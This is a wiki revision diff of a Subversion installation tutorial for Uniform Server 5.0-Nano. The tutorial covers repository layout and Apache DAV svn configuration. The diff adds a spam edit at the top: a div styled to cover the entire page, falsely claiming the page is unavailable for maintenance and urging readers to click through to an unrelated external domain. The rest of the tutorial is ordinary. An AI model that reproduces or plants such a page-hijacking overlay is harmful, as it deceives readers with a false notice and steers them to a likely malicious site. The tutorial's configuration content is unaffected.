SVN: Introduction: Difference between revisions
Jump to navigation
Jump to search
no edit summary
(New page: {{SVN Nav}} '''Installing Subversion on 5.0-Nano''' This series explains how to install Subversion on Uniform Server 5.0-Nano. The goal is to produce a fully portable version running from...) |
Upazixorys (talk | contribs) No edit summary |
||
Line 1: | Line 1: | ||
---- | |||
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | |||
---- | |||
=[http://ovarynetyv.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]= | |||
---- | |||
=[http://ovarynetyv.co.cc CLICK HERE]= | |||
---- | |||
</div> | |||
{{SVN Nav}} | {{SVN Nav}} | ||
'''Installing Subversion on 5.0-Nano''' | '''Installing Subversion on 5.0-Nano''' | ||
Line 44: | Line 52: | ||
Once a folder has been converted into a repository you can start using it straight away. Use an SVN client to add your project (folders and files). However it is recommended you first create the following three folders: | Once a folder has been converted into a repository you can start using it straight away. Use an SVN client to add your project (folders and files). However it is recommended you first create the following three folders: | ||
{|cellspacing= | {|cellspacing="6" | ||
|-valign= | |-valign="top" | ||
| ||'''''Trunk'':'''|| Is the main branch of development. This is where your next major release lives. It has all the newest features and code. | |&nbsp; ||'''''Trunk'':'''|| Is the main branch of development. This is where your next major release lives. It has all the newest features and code. | ||
|-valign= | |-valign="top" | ||
| ||'''''Branches'':'''|| Are used to try out new features without disturbing the main line of development. Once stable are merged back into the trunk. Or every time you release a major version a branch created. This allows you to do bug fixes and make a new release without having to release the newest unfinished or untested main version. | |&nbsp; ||'''''Branches'':'''|| Are used to try out new features without disturbing the main line of development. Once stable are merged back into the trunk. Or every time you release a major version a branch created. This allows you to do bug fixes and make a new release without having to release the newest unfinished or untested main version. | ||
|-valign= | |-valign="top" | ||
| ||'''''Tags'':'''|| Every time you release a version such as final release, release candidate or betas make a tag for it. Its a point-in-time copy of the code and should never be editted. Must remain fixed and unchaged allowing you to go back to a known point in time. | |&nbsp;||'''''Tags'':'''|| Every time you release a version such as final release, release candidate or betas make a tag for it. Its a point-in-time copy of the code and should never be editted. Must remain fixed and unchaged allowing you to go back to a known point in time. | ||
|} | |} | ||
With the above structure in place add all your new material to the '''trunk'''. | With the above structure in place add all your new material to the '''trunk'''. | ||
Line 66: | Line 74: | ||
{| | {| | ||
|- | |- | ||
| | |<pre> | ||
<Location /repos_name> | |||
DAV svn | DAV svn | ||
SVNPath /absolute/path/to/repository | SVNPath /absolute/path/to/repository | ||
</Location> | |||
</pre> | |||
| | | | ||
* '''repos_name''' Name you type into a browser e.g | * '''repos_name''' Name you type into a browser e.g <nowiki>http://localhost</nowiki>/'''repos_name''' | ||
* '''DAV svn''' Instructs Apache to pass the request onto the DAV layer for processing as a subversion (svn) request. | * '''DAV svn''' Instructs Apache to pass the request onto the DAV layer for processing as a subversion (svn) request. | ||
* '''SVNPath''' Absolute path to the repository folder. (Generally repos_name and folder name are the same.) | * '''SVNPath''' Absolute path to the repository folder. (Generally repos_name and folder name are the same.) | ||
Line 84: | Line 92: | ||
{| | {| | ||
|- | |- | ||
| | |<pre> | ||
<Location /image_controller> | |||
DAV svn | DAV svn | ||
SVNPath C:/design/image_controller | SVNPath C:/design/image_controller | ||
</Location> | |||
</pre> | |||
| | | | ||
* '''image_controller''' Name you type into a browser e.g | * '''image_controller''' Name you type into a browser e.g <nowiki>http://localhost</nowiki>/'''image_controller''' | ||
* '''DAV svn''' Instructs Apache to pass the request onto the DAV layer for processing as a subversion (svn) request. | * '''DAV svn''' Instructs Apache to pass the request onto the DAV layer for processing as a subversion (svn) request. | ||
* '''SVNPath''' Absolute path to the repository folder C:/design/image_controller | * '''SVNPath''' Absolute path to the repository folder C:/design/image_controller | ||
Line 98: | Line 106: | ||
{| | {| | ||
|- | |- | ||
| | |<pre> | ||
<Location /unitray_menu> | |||
DAV svn | DAV svn | ||
SVNPath E:/project2/menus/unitray_menu | SVNPath E:/project2/menus/unitray_menu | ||
</Location> | |||
</pre> | |||
| | | | ||
* '''unitray_menu''' Name you type into a browser e.g | * '''unitray_menu''' Name you type into a browser e.g <nowiki>http://localhost</nowiki>/'''unitray_menu''' | ||
* '''DAV svn''' Instructs Apache to pass the request onto the DAV layer for processing as a subversion (svn) request. | * '''DAV svn''' Instructs Apache to pass the request onto the DAV layer for processing as a subversion (svn) request. | ||
* '''SVNPath''' Absolute path to the repository folder E:/project2/menus/unitray_menu | * '''SVNPath''' Absolute path to the repository folder E:/project2/menus/unitray_menu | ||
Line 121: | Line 129: | ||
{| | {| | ||
|- | |- | ||
| | |<pre> | ||
<Location /svn> | |||
DAV svn | DAV svn | ||
SVNParentPath C:/a_svn/UniServer/svn | SVNParentPath C:/a_svn/UniServer/svn | ||
</Location> | |||
</pre> | |||
| | | | ||
* '''svn''' Top level name. Any folder name after this is assumed to be a repository request and passed to DAV for resolving | * '''svn''' Top level name. Any folder name after this is assumed to be a repository request and passed to DAV for resolving | ||
Line 133: | Line 141: | ||
|} | |} | ||
The repositories may be accessed using the following URL: | The repositories may be accessed using the following URL: | ||
* | * <nowiki>http://localhost</nowiki>/svn/'''image_controller''' | ||
* | * <nowiki>http://localhost</nowiki>/svn/'''unitray_menu''' | ||
'''''Note'':''' Entering | '''''Note'':''' Entering <nowiki>http://localhost</nowiki>/svn will produce the following error message: | ||
<pre> | |||
Forbidden You don't have permission to access /svn/ on this server. | Forbidden You don't have permission to access /svn/ on this server. | ||
</pre> | |||
Effectively the URL is requesting a page listing all repositories in folder '''svn'''. | Effectively the URL is requesting a page listing all repositories in folder '''svn'''. | ||
Line 145: | Line 153: | ||
{| | {| | ||
|- | |- | ||
| | |<pre> | ||
<Location /svn> | |||
DAV svn | DAV svn | ||
SVNListParentPath on | SVNListParentPath on | ||
SVNParentPath C:/a_svn/UniServer/svn | SVNParentPath C:/a_svn/UniServer/svn | ||
</Location> | |||
</pre> | |||
| | | | ||
* '''svn''' Top level name. Any folder name after this is assumed to be a repository request and passed to DAV for resolving | * '''svn''' Top level name. Any folder name after this is assumed to be a repository request and passed to DAV for resolving | ||
* '''DAV svn''' Instructs Apache to pass the request onto the DAV layer for processing as a subversion (svn) request. | * '''DAV svn''' Instructs Apache to pass the request onto the DAV layer for processing as a subversion (svn) request. | ||
* '''SVNListParentPath on''' Enables listing of all repositories for URL | * '''SVNListParentPath on''' Enables listing of all repositories for URL <nowiki>http://localhost</nowiki>/'''svn''' | ||
* '''SVNParentPath''' Absolute path to the parent folder containing all the repositories. C:/a_svn/UniServer/svn | * '''SVNParentPath''' Absolute path to the parent folder containing all the repositories. C:/a_svn/UniServer/svn | ||
|} | |} |